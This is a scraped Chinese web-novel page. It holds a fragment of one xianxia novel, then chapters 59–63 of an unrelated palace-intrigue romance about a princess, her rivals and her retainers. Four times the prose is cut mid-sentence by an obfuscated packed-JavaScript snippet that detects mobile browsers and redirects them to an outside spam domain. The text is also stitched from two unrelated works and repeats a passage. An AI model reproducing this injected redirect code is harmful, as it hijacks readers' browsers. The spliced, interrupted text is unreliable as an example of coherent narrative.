“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第59章 简直太过分 晏骁寒身体虽然没有彻底恢复,但是也行动自如了,怎么还在她的公主府待着? 虽然那日晏骁寒收拾东西是要去边关,虽然边关没去成,但是你东西都收拾好了,话也交代了,你还留在公主府,是不是不大合适? 晏骁寒眼里闪过什么,不等开口,即墨没好气道:“长公主果真是个冷漠无情之人,我家主子被你害的命都要丢了,在你府上多养两日伤都不成?” 慕馨宁冷冷的看了即墨一眼,恨不得把这小子的牙给抜下来。 晏骁寒抬了抬手,即墨心不甘情不愿的丢给慕馨宁一沓银票:“食宿费。” 一千两? 还不是一张,而是十张。 慕馨宁顿时笑成一朵花:“成,当然成,你晚上想吃什么,我指点厨子做。” 即墨被慕馨宁这个市侩的样子刺激到了,真的,这些年,他都做好主子要孤独终老的准备了,万万没想到自家主子会摊上慕馨宁这么个未婚妻。 “水煮鱼?黄焖鸡?宜良烤鸭?蒜蓉河虾?糖醋里脊?剁椒鱼头……” 离夜进来的时候,慕馨宁正在报菜名,虽然他没吃过,但是听着也已经口水泛滥了。 “主子。” 晏骁寒颔首。 离夜犹豫了一下,才开口:“皇上已经下旨,让信武侯带领八万大军去边关支援虞将军。” 慕馨宁:“什么时候走?” “后日启程。” 慕馨宁看了晏骁寒一眼,估计信武侯这次,是有去无回了吧? 没等离夜退下,鸦羽进来,递给慕馨宁一张请柬,是信武侯府送来的。 信武侯要领兵出征,信武侯夫人请慕馨宁去吃一顿家常便饭,为信武侯送行。 慕馨宁琢磨了一下:“回了信武侯府的人,明日本宫定会前往。” 即墨小声对晏骁寒道:“她看不出这是鸿门宴吗?” 晏骁寒没开口,只是看了即墨一眼,即墨连忙退到晏骁寒身后。 晚上的时候,书斋那边给慕馨宁送了三千两银子,是卖书的分红。 要是寻常人家,肯定觉得这简直是一次巨款,可是对慕馨宁而言,还不够塞牙缝的。 尤其是一想到她那三万私兵一个月就要花出六万两白银,就感觉压力巨大。 不过想必流放的萧蘅应该快要到那个地方了,只要一切顺利,她或许就能得到源源不断的财富了。 前些日子,慕馨宁将手里的铺子庄子过了一下,那些个铺子,地段不好生意不好的卖了三分之一,庄子也卖了两个,接下来她就得琢磨些赚钱的门路。 胭脂水粉、绸缎成衣、首饰、酒楼算是最赚钱的了,除了酒楼,其他几样铺子她手底下正巧就有,只要休整一番,添一些新花样就好了。 慕馨宁琢磨到了深夜,杜若劝了好几次,她才上床休息。 所以,次日杜若和鸦羽都去忙了,她还在床上呼呼大睡。 只是迷迷糊糊间,感觉床轻轻晃动了一下,身边好像多了一个人。 慕馨宁随手扯了一条胳膊抱在怀里,却没注意怀里的胳膊比寻常女子粗壮不少。 睡到日上三竿,慕馨宁被杜若的一声尖叫吵醒。 “你是谁!” “出去!” 耳边传来男子低沉的声音。 慕馨宁缓缓睁眼,就看见一张小麦色俊美不凡的脸。 男人就躺在她身边,似乎感觉到慕馨宁醒了,缓缓侧头,眼里都是波光。 “醒了,昨晚又跟哪个野男人折腾了,累成这样?” 这都日上三竿了,哪家姑娘要是这个时辰还不起床,定会被人嘲笑。 “玄翎?”时隔两世,最后一次见他,还是崔玉博对他用刑的时候,所有私兵里,玄翎是被崔玉博折磨的最惨的那一个。 千刀万剐,用一把薄薄的**,将他身上肉一片片割了下来,一想到这里,慕馨宁心里堵的要死。 男人笑:“哎呦,还记得我的名字,真是叫我感动。” 慕馨宁也笑了,眼里闪过一片水光,哑着嗓子吩咐杜若:“早饭多准备一些,他吃的多。” 杜若吐了吐舌头,原来这人是主子的男宠吗,她怎么从来没见过? 慕馨宁起身穿衣,玄翎就靠在床边看她:“怎么想起找我了,是不是你身边的男人都不大中用,只有我一人龙精虎猛让你满足?” 慕馨宁瞪了他一眼:“能不能正经点。” 不等玄翎再开口,慕馨宁问他:“我手里那三万私兵的月饷是你给他们发的?” 玄翎双手枕在脑后,一副闲散的样子:“也没多少钱,弄来了就给他们发一些,弄不来就拖着呗。” 慕馨宁脑海里闪过什么,忍着笑感叹:“原来你还是个劫富济贫的大侠。” 上一世,朝廷一直在追捕一个犯人,说是一个武艺高强的强盗。 那画像实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532132|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在太粗糙,她现在才反应过来,那画像上的男子好像和玄翎有几分相似。 玄翎忽然坐直身子,一脸郑重的朝着慕馨宁抱拳:“多谢夸赞!” 慕馨宁笑出声来。 等慕馨宁穿戴好,玄翎拉着她就往外走:“我给你带了礼物,快跟我出去看看喜不喜欢。” “什么礼物,不会是你从哪撸了个俊俏公子吧?” 慕馨宁话音刚落,就看见门口出现了一抹熟悉的人影。 她一个趔趄,差点摔倒。 “长公主,你,你们简直是太过分了!” 即墨看见玄翎没穿外衣,慕馨宁头发凌乱,这很显然,两个人定是刚从床上下来的。 真是岂有此理,自家主子还在府上,慕馨宁竟然就敢跟别的男人私会! “晏骁寒,都是误会……” 慕馨宁话没说完,玄翎看见即墨,瞬间面色冰冷:“就是你伤了阿宁?” 即墨刚要说话,玄翎朝着即墨就冲了过去。 两个人当即交手,打的不可开交。 慕馨宁有些头疼,她连忙对晏骁寒道:“玄翎是我手下的统领,他找我谈公事,只是昨夜我睡得晚,才起来。” 晏骁寒面无表情:“谈公事?” 谈公事只穿里衣,还叫的那么亲热? 慕馨宁看出了晏骁寒眼神里的鄙夷,但还是陪笑道:“你能不能先让他们两个停手?” “怎么,心疼他?” 慕馨宁:“……” 晏骁寒转身走了,也没管即墨,慕馨宁心一横,也径自回了房。 早饭吃了一半,玄翎才从外面进来,他已经冲了澡,换了一套衣服。 慕馨宁也没问谁胜谁负,将驴肉锅贴和炸酱面摆到他的跟前:“快吃吧,一会凉了。” 玄翎一口气将一盏茶喝完,坐下之后就问:“听说那个晏骁寒成了你未婚夫?” 之前他听见传言还不信,如今见晏骁寒竟然在公主府,算是将信将疑了。 慕馨宁叹了口气:“谁知道了。” “叫我回来做什么?”玄翎咬了一口锅贴,顿时感觉味道很不错,一个锅贴全都塞进了口中。 慕馨宁喝了一口粥:“反正你在军营也待不住,不如让玄翊替你打点,你帮我做生意吧。” 玄翎差点被自己噎到,慕馨宁要做生意,他没听错吧? “你说,要多少,我去给你弄。” 第60章 送到你床上 做生意还是算了,多麻烦,万一赔个底朝天,更是得不偿失。 慕馨宁有些无奈,原来自己在玄翎心里就这么没用。 “我说真的,反正我手里头铺子不少,我也有些赚钱的门路,但是无论是掌柜还是管事,许多都是太后和信武侯的人,你想个法子把他们弄走。” 玄翎不说话,只忙着吃东西。 慕馨宁知道,玄翊是真信不过她的能力。 慕馨宁觉得制冰这个可以行得通,简直是一本万利,还不用什么本钱。 忽然杜若急匆匆的跑进来:“主子,主子不好了,你快去看看吧,晏首辅要回府了!” 慕馨宁皱眉,之前看晏骁寒的意思,不是要在她公主府待一段时间,怎么这就要走了? 看慕馨宁一脸疑惑的样子,杜若急忙道:“定是晏首辅知道了你们的关系,所以才一气之下要离开的,主子你快去劝劝他,给晏首辅好好赔礼道歉,一定要把人留下来!” 杜若拉着慕馨宁就走。 毕竟,在她心里,慕馨宁怕是再也找不到比晏首辅更优秀的男子做夫婿了。 玄翎置若罔闻,没有半点表示,只顾着埋头吃饭。 慕馨宁被杜若拉着追出公主府门口,见晏骁寒就要上马车,四目相对时,她说话有些结巴。 “你……这就走了……” 晏骁寒:“本官身体已无大碍,这些日子叨扰了。” 慕馨宁心不在焉的点了点头,既然晏骁寒不提玄翎,那她也不好开口,误会不误会的也没什么,再说他一个首辅总住在公主府确实不妥。 “那你身体要是有什么问题再来公主府,我让姬神医给你瞧瞧。” 晏骁寒点头,进了马车。 “哎呦,长公主,晏首辅这就要走了吗?” 虞家人听说晏骁寒要离开公主府,都急匆匆来送行,其实他们还是有些惋惜,晏骁寒在府上住了这么久,都没跟他说上话。 慕馨宁点头,看了虞老夫人婆媳一眼:“他公务繁忙,住我府上确实不太方便。” 慕馨宁刚要转身回府,一辆马车缓缓而来。 虞老夫人高兴的拔高声音:“哎呦,霍二夫人来了!” 婆媳两个连忙迎上去,对着还没马车的安国公府二夫人就是一顿恭维讨好。 霍二夫人下了马车,让下人将礼物拿了过来:“初次拜访虞家老夫人,晚辈给虞老夫人和虞夫人准备了薄礼,还望您二位不要嫌弃。” 虞老夫人和虞夫人笑的合不拢嘴。 “哎呦,二夫人客气了,快里面请……” 杜若气的鼻子都歪了:“这虞家人真过分,这是把咱们公主府当成她们家了,竟然还摆起了主人的派头!” 听说这些日子来公主府找虞家人的有好些个客人,虞家人要以贵客招待,府上还要管那些个人的吃喝,真是过分。 “回去吧。” 国公府霍二夫人正要询问虞家婆媳慕馨宁可在府上,之前她多次想要拜见慕馨宁,却都被长公主需要静养婉拒了。 可是她一抬头,就看见了慕馨宁的背影。 霍二夫人心中不满,好歹她也是国公府二夫人,娘家也是书香世家,慕馨宁竟然如此不把她放在眼里,好歹也该等她上前见礼才是。 一想起今日来的目的,她不得不压下心头火气。 虞家两个婆媳你一言我一语像两只苍蝇在耳边嗡嗡个不停,霍二夫人长长的吸了口气,还得笑着跟她们客套。 慕馨宁没等回自己的院子,就有下人来禀:“长公主,虞家派人来传话,说崔二夫人到了,想要拜见您。” 杜若哼了一声:“原来还是冲着主子来的,奴婢还以为那二夫人是特意来拜见虞家人的。” 慕馨宁淡淡道:“本宫繁忙,让虞家人好好招待二夫人吧。” 传话的犹豫了一下,应声退下。 “怎么,没把东陵第一美男留下来?”玄翎吃了饭就在门口等着,见慕馨宁一人回来,开口问道。 慕馨宁:“回去了。” 玄翎打了一个饱嗝:“别难过,等晚上,我潜到他府里把他扛回来,定送到你床上。” 晏骁寒在公主府待了这么多天,慕馨宁也没把人弄到手,真是不中用。 慕馨宁:“……” “谈正事。”慕馨宁进门,让下人把她准备好的东西拿进来。 玄翎一脸诧异:“做什么?” 慕馨宁:“天气热了,各家各户都需要冰,所以我们制冰,再研究两个甜品, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538781|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去卖,应该能赚一笔小钱。” “你还会制冰?” “试试吧。” 慕馨宁正忙着,又有下人过来。 “长公主,虞家老夫人求见。” 慕馨宁皱眉:“什么事?” 下人支支吾吾:“奴才不知……” 慕馨宁刚要说话,下人又道:“虞老夫人说,要是您忙的脱不开身,见一见姬神医也是可以的。” 不只虞老夫人想要见姬神医,那个国公府的二夫人来想必也是为了姬神医。 前些日子,霍二夫人就开始巴结虞家人,就想靠着虞家人走个后门,奈何好处送出去那么多也没个结果,所以这一次只能亲自来了。 没想到慕馨宁还是连虞家的人的面子也不给,虞老夫人和虞夫人婆媳又要打肿脸充胖子,非要给二夫人引荐姬神医。 慕馨宁看了她一眼,目光冰冷。 那婆子顿时慌了,连忙跪地:“奴才知错,奴才这就回了虞老夫人。” 玄翎见那婆子落荒而逃,问慕馨宁:“虞家那些个人如此不安分,不如给他们些教训。” 慕馨宁摇头:“烂泥扶不上墙,还是不要招惹他们了。” 这些日子,那些个想要巴结晏骁寒和姬神医的人给虞家送了不少好处,虞家人根本不考虑能不能把事情办成,谁给的好处都收,到时候事发,她还得给虞家收拾烂摊子。 那婆子去回话,霍二夫人没想到慕馨宁半点颜面也不给虞家人,临走前还对虞家人好一顿嘲讽,虞老夫人和虞夫人还有虞文茵都感觉脸上火辣辣的,对慕馨宁的不满已经达到了顶峰。 “父亲和八万将士在边关为长公主出生入死,我们又成了人质,整日待在这公主府,我们虞家为了长公主牺牲那么多,为什么她半点面子都不给!” 虞文茵气的要死,因为刚刚霍二夫人还邀请她去国公府做客,如今事情成了这样,她怕是到了国公府都得被人打出来! 虞老夫人气的老脸皱成菊花:“岂有此理,简直是岂有此理!” 前院,慕馨宁忙的满头大汗,终于把冰块制了出来。 玄翎对慕馨宁简直是刮目相看,围着慕馨宁转了三圈:“你还是那个我认识的长公主吗,说,你是何方妖孽!” 第61章 死期 慕馨宁心里千言万语,却无法跟玄翎多说,只当没有听见他的质疑。 她将一张方子递给杜若:“这是冰沙甜品的制作方法,你就找现有的水果做,一会大家尝尝。” 杜若答应一声就去忙了。 不到一个时辰,玄翎已经又制作出来不少冰,他打算一会就出去找找销路。 这京城就是好,王侯将相达官显贵的销金窟,只要他有好东西,不愁卖不上好价钱。 “主子,你瞧瞧怎么样,按照您说的法子做的。” 杜若端着一个托盘进来,上面有好几种冰沙甜品。 山楂的,苹果的,甜梨的,还有三种口味混合的,冰沙上覆着一朵小花儿,看起来更养眼几分。 入夏也有一些新鲜果子下来了,到时候也能再多加几个口味。 慕馨宁招呼玄翎尝了尝,味道还不错。 “你把这几样拿去各大酒楼谈谈价钱,我们每天给送货。” 玄翎将一碗冰沙吃完,二话不说就招呼人一起出门了。 直到杜若让人捧着衣裳给慕馨宁试穿,慕馨宁这才想起来晚上要去信武侯府赴宴。 杜若有些不安:“主子,咱们还是不去了吧。” 要不是因为慕馨宁让那些个纨绔子弟去开荒又折腾死两个,永平帝也不会拿到了信武侯的把柄,更不会打信武侯兵权的主意,信武侯也不会被逼的领兵出征。 再加上之前的种种原因,信武侯府恨慕馨宁,简直是恨之入骨。 所以今日,他们定不会给慕馨宁好果子吃的。 慕馨宁笑了笑:“怕什么,最近无聊,正巧去凑个热闹,你要是不想去,让鸦羽陪我去就行了。。” 杜若:“……奴婢当然要去保护主子。” 日头西斜,彩霞满天,信武侯府门口的凌霄花开的比彩霞还要绚烂。 慕馨宁到的时候,信武侯夫人正在迎客,这才多久不见,她整个人苍老不少,白头发也多了。 今日来的大多都是信武侯府关系亲近的人,他们见了慕馨宁,都没个好脸色,毕竟这些人都是靠着信武侯府和太后帮扶的。 “呦,长公主不是忙得很吗,你表哥没的时候,你连个面都不露,现在倒是有空来赴宴了。” “都是一家人,你说说你怎么能做出如此冷漠无情的事情,也就是太后和信武侯府大度,要是我,定要让她千百倍偿还!” 信武侯夫人总帕子擦了擦眼泪,哽咽着道:“嫂嫂,弟妹,快别说了……” 她这个样子,更像是受尽了委屈的。 那几个夫人看慕馨宁更是不顺眼了。 杜若脸色一冷:“你们瞎嚷嚷什么呢,见了长公主不知道行礼吗!” 几个夫人你看看我,我看看你,仿佛根本没听见杜若说话,也没把慕馨宁放在眼里。 杜若气的咬牙,鸦羽冷着脸上前,一人给了一个耳光。 那几个夫人捂着侧脸尖叫出声: “你,你这个贱婢竟然敢打我……” “慕馨宁,你简直太过分,欺负人欺负到家了,这时信武侯府,不是你的公主府!” 慕馨宁冷笑:“是本公主让鸦羽动手的,你们若是算账,就跟本宫算,无论是信武侯府还是皇宫,有人对本宫不敬,本宫照打不误。” “你看看她!”几个夫人又要找信武侯夫人做主。 信武侯女人哭的更伤心:“算了算了,都进府吧……免得让人看笑话……” 关门才好打狗,人还没进去,在大门口嚷嚷个什么劲儿。 众人进门,慕馨宁缓步走着。 没等到花厅,崔惜颜和宋菀菀被簇拥着过来。 宋菀菀一看见慕馨宁,瞳孔一缩,来了就好,今日定是你的死期! 原本,她并不知道她光着身子在众人跟前出丑的事情,后来还是发现周围的下人对她的态度很是古怪,所以威胁了一个小宫女,这才知道自己被慕馨宁下药之后的所作所为。 原本她是想一**之的,可是太后和芝嬷嬷都劝她,两个人为了保住她的清白,特意又让一个容貌和身材相似的宫女光着身子在宫里绕了好几圈。 宋菀菀舍不得死,她也开始自己欺骗自己,光着身子在众人跟前出丑的根本不是她,是另有其人。 她要是**,最高兴的就是慕馨宁,她不但不能死,还要好好的活,还要尽量若无其事的出现在众人面前,好打消所有人的怀疑,让所有人都确定,那日光着身子的绝对不是她! 但是慕馨宁这个**,她绝对不会放过! “时候还早,让下人带着你们转转,这花园里的花儿开的正好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538782|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信武侯夫人并没有忽略宋菀菀对慕馨宁的恨意,她红着眼睛对众人开口。 “长公主,我们去那边转转吧。”宋菀菀调整好情绪,指了一处凉亭。 慕馨宁对宋菀菀有些刮目相看,见过脸皮厚的,没见过脸皮这么厚的。 昨日才被人看光了身子,今日还能当做什么也没发生的样子来侯府,简直是个人才。 崔惜颜许久都没说话,看慕馨宁的目光阴冷的渗人。 这才多久不见,她人受了一圈,没了以前的开朗,整个人看着有点阴恻恻的。 “长公主,我被你害的好惨,现在你满意了吧?”没等在凉亭落座,崔惜颜便一脸幽怨的责怪慕馨宁。 慕馨宁笑了笑:“说话得讲证据,你落得如此地步,不是你咎由自取吗?” 崔玉博找她挑衅拿性命做赌的那日,但凡信武侯府有一个人真心劝诫,慕馨宁都不会把事情做的那么绝。 他们一个个都盼着慕馨宁死,只是没想到最后死的却是崔玉博。 崔玉博死的不冤,慕馨宁要杀他,不只是为自己和上一世那些对自己忠心耿耿的下属报仇,还因为崔玉博在妙峰山不远处的一个庄子上豢养小倌。 豢养小倌不是什么大错,可偏偏,那些小倌儿都是他叫人抢来的,他折磨那些人的手段也是残忍到变态。 崔玉博还给那些个小倌封了妃嫔,大到皇后,小到美人儿,不听话的直接阉了做太监,而他呢,那些小倌儿要称他为皇上。 看似小孩子过家家一般的幼稚游戏,实则也能证明崔玉博的野心,这件事要是公之于众,对信武侯府和太后而言,几乎是灭顶之灾。 慕馨宁只杀了崔玉博一人,已经是心慈手软了。 她要慢慢玩儿。 “慕馨宁……你简直是……”崔惜颜已经无法用语言来形容慕馨宁的可恶,最终她咽下了这口气,毕竟慕馨宁的死期马上就到了。 “表姐,算了吧,不要跟她说这些了,你受了这么多苦,她也不会心疼你,只会幸灾乐祸罢了。”宋菀菀在一旁拱火。 慕馨宁撇了她一眼暂且没搭理她。 她将目光落在崔惜颜身上:“不就是被安国公府推迟了婚期嘛,你想早点嫁过去,法子不是有的是。” 崔惜颜难得正眼看慕馨宁:“什么法子?” 第62章 好戏开场 “生米煮生熟饭啊,你成了世子的女人,他定会娶你过门的。如果你肚子争气,怀了他的孩子,那安国公府不得把你当成祖宗供起来。” 宋菀菀张了张嘴,她知道慕馨宁绝对不是什么好心,可是看着崔惜颜眼里的精光,就知道她说什么也没有用了。 也罢,到时候崔惜颜自己撞了南墙,最怨恨的还是慕馨宁,只是不知慕馨宁到时候有没有命在了。 “世子爷……” 丫鬟恭敬的声音响起,几人侧头,就见一个一身白衣的男子被下人簇拥着走了过来。 男子五官端正,气质矜贵,让人忍不住多看两眼。 崔惜颜心头一颤,连忙迎上去:“承安你来了,怎么没人跟我说,我好去迎迎你!” 霍承安扫了慕馨宁一眼,慕馨宁却并未看她,悠闲的靠在围栏上品茶。 忽然一声脆响,似什么东西碎裂的声音。 霍承安朝着慕馨宁拱手行礼:“见过长公主。” 崔惜颜愣了愣,以前霍承安不是很讨厌慕馨宁吗,每次见了她都躲的远远的,今日这是怎么了? 慕馨宁终于看了霍承安一眼,不过很快就收回目光,只轻轻的‘嗯’了一声。 这时,宋菀菀一脸担忧的开口:“长公主,就算你喜欢俊美的男子,也不能打未来表姐夫的主意,他和表姐可是真心相爱的。” 慕馨宁差点一口茶喷出来,要是霍承安真的喜欢崔惜颜,就不会在崔玉博死后、信武侯被**后、崔惜颜最难过的时候选择推迟婚期。 就算推迟婚期的事情是安国公和长辈们的主意,但要是霍承安坚持尽快娶崔惜颜过门,国公府也会妥协的,可惜霍承安没有。 或许,推迟婚期的事情,还是霍承安的主意。 霍承安对崔惜颜的态度,但凡是个聪明的,都能看出来。 不过,上一世,这个霍承安好像真的很喜欢崔惜颜,对崔惜颜宠爱有加,有求必应,为了她不惜顶撞家中长辈和皇后。 但是这一世,怎么就变了呢,很奇怪。 霍承安看了宋菀菀一眼,并未开口。 宋菀菀在宫中被人看光的事情他也听说了,就算太后娘娘又找了个宫女做戏,掩人耳目,但是众人也不是傻子,只是不敢大肆宣扬而已。 他还以为宋菀菀定要寻死觅活,没想到她不但能来赴宴,还有心情挑拨离间。 崔惜颜听了宋菀菀的话,顿时警惕起来。 是啊,慕馨宁水性杨花,只要是容貌好的男子,她都会想法子勾引。 霍承安身份尊贵,才貌双全,而且将来又要继承国公府,是世间不可多得的好男子,若是被慕馨宁给惦记上了,那她怎么办? 想到这里,崔惜颜直接挪步到慕馨宁和霍承安中间将二人隔开。 慕馨宁看向宋菀菀,冷笑一声:“你嘴里喷的是大粪吗,从哪看出来我惦记他了,莫不是你脑袋被驴踢了?” 宋菀菀被怼的面红耳赤,但还是尴尬的笑着道:“没有就好,是我多心了……” 她越是这样含混不清,崔惜颜就越怀疑慕馨宁。 崔惜颜正犹豫要不要把霍承安带到别的地方,离慕馨宁远远的。 就见慕馨宁似笑非笑的对宋菀菀道:“倒是你,今天穿了跟世子爷一样颜色的衣服,怎么,你不会对他有别的心思吧,你看你们身上玉佩的络子颜色也一样。” 不就是反咬一口么,她也会的。 果然,此话一出,崔惜颜的脸色更难看了。 宋菀菀慌乱的连忙摇头:“没有,这只是巧合而已……” “那你说是巧合,就是巧合吧。” 慕馨宁直接打断宋菀菀的话,盖棺定论了。 崔惜颜不想让霍承安多待在这里一刻,更不想让别的女人多看她的未婚夫一眼,连忙对霍承安道:“父亲马上就要带兵出征了,他一直惦记你,你随我一同去拜见他吧。” 霍承安点头,转身走在前头。 宋菀菀气的七窍生烟,扭头质问慕馨宁:“你是不是故意的,你就想挑拨我们的关系,你怎么那么坏!” 崔玉博刚死没多久,今日来的都是亲戚,任谁也不会打扮的花枝招展,穿白色是正常不过的了,慕馨宁竟然拿她和霍承安的穿衣颜色来挑事,关键崔惜颜竟然信了,宋菀菀感觉窝火的要死。 慕馨宁冷冷看她:“我这都是跟你学的,这还不如你一半呢。” 宋菀菀气的还想说什么,丫鬟来禀报,说晚饭准备好了。 众人陆续落座,没多久信武侯和霍承安也到了,男女分了两桌席面,因崔玉博的缘故,大家也不敢说笑,都端端正正的坐着。 信武侯讲了几句冠冕堂皇的话目光似有若无的撇了慕馨宁一眼,饭菜上齐便开席了。 “这是先帝在世时南岳国进贡的梅花酿,先帝赏了侯爷一坛,一直珍藏到现在,大家快尝尝吧。”侯夫人说着,示意下人倒酒。 慕馨宁发现了奇怪的问题,今日的席面全都是素菜,或许是因为崔玉博刚死的原因。 可是却上了最好的梅花酿,就有点古怪。 哪家有了白事,吃素还喝酒的。 但是众人一听说是南岳的贡酒,也不会多想,都很给侯府面子,。 一番夸赞之后,酒喝了几杯,气氛就活络起来。 在信武侯夫妻和崔惜颜宋菀菀时不时的打量下,慕馨宁也喝了一杯。 她不是馋酒,也不是给信武侯府面子,是因为她想起了一个人,南岳的皇太女…… 不远处,崔惜颜的目光都要黏在霍承安身上了,时不时就喊他那边的丫鬟给霍承安布菜。 毕竟是皇后的亲弟弟,皇上的小舅子,众人对霍承安还是很恭敬热络的,唯有慕馨宁觉得无聊。 饭桌上没有肉,一块豆腐能吃半天,她都困了。 忽然,有人感叹一声:“哎,要是玉博还在,惜颜马上就能嫁给世子爷了,这小两口还要熬到什么时候啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545148|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 众人的目光,又落在了慕馨宁的身上。 慕馨宁冷笑一声,盯着那位夫人道:“孙夫人对他们两个人的事情挺上心啊,我听说你原本打算把自己的女儿塞给崔惜颜做陪嫁,将来好爬世子爷的床做姨娘,本来我还不相信,觉得你不是如此攀附权贵的人,如今看来倒是真的了。” 众人看摆崔夫人的目光,多了几分鄙夷。 孙夫人脸涨成猪肝色:“我没有,你胡说什么!” 霍承安手里的筷子一顿,看了慕馨宁一眼。 她何时变得如此伶牙俐齿了? 他的随从好似发现了什么,连忙问道:“世子爷,您手上的玉扳指怎么不见了?” 霍承安淡声道:“碎了。” 杜若愣了愣,今日霍承安刚见自家主子的时候,好像是捏碎了什么东西,难道是玉扳指吗,好好的扳指怎么能捏碎了呢? 慕馨宁不经意的抬头,忽然对上霍承安的目光。 她心头一颤,怎么有种莫名的熟悉感? 却不是对霍承安的熟悉,像是从他的身上,看见了另一个人的影子,而那个人是谁,慕馨宁并没有捕捉到。 就在慕馨宁愣神的时候,丫鬟不小心将壶里的酒撒在了慕馨宁的衣服上。 “长公主恕罪,奴婢不是故意的!” 丫鬟顿时大惊失色,连忙跪下磕头。 慕馨宁回神,低头掸了掸衣襟上的水迹,微微勾唇。 这就开始了吗,她都等不及了。 信武侯夫人脸一沉:“来人,将这个丫鬟乱棍打死,带长公主去换身衣裳。” 慕馨宁起身,跟着丫鬟出门。 没走多远,就拐进了垂花门,不等丫鬟说什么,忽然冒出来一个人影,将丫鬟直接打晕了。 杜若吓了一跳,看清来人那张脸,更害怕了,她还是鼓起勇气将慕馨宁护在身后:“世子爷,我们主子可没得罪你,你们婚期延迟跟我们主子也没关系……” 霍承安大步上前,一把抓住慕馨宁的手腕:“危险,快跟我走!” 没等慕馨宁反应,好些个人影犹如鬼魅落在周围。 那几个人看见霍承安愣了一下,怎么也没想到他会出现在这里。 几个人用眼神交流了什么,然后冲了过来。 慕馨宁将霍承安一把推开:“跟你没关系,离本宫远点。” 以前霍承安对她犹如洪水猛兽避之不及,如今竟然好心帮她,这怎么可能。 没准是想趁她不注意对她下毒手,她不得不防。 霍承安又冲过来,将慕馨宁护在身后:“就当我行侠仗义,路见不平好吧!” 说完,他夺了一个黑衣人的剑,跟他们打了起来。 杜若蒙了,世子爷如今竟然肯为了自家主子冒险,主子什么时候魅力这么大了? 黑衣人越来越多,霍承安招架不住,但是那些黑衣人似乎并不想对霍承安下死手,只是一味的敷衍避让。 第63章 太狠了 霍承安大步上前,一把抓住慕馨宁的手腕:“危险,快跟我走!” 没等慕馨宁反应,好些个人影犹如鬼魅落在周围。 那几个人看见霍承安愣了一下,没想到他会出现在这里。 他们用眼神交流了什么,随即就冲了过来。 慕馨宁将霍承安一把推开:“跟你没关系,离本宫远点。” 以前霍承安对她犹如洪水猛兽避之不及,如今竟然好心帮她,这怎么可能。 没准是想趁她不注意对她下毒手,她不得不防。 没想到被推开的霍承安又冲过来,并且将慕馨宁护在身后:“就当我行侠仗义,路见不平好吧!” 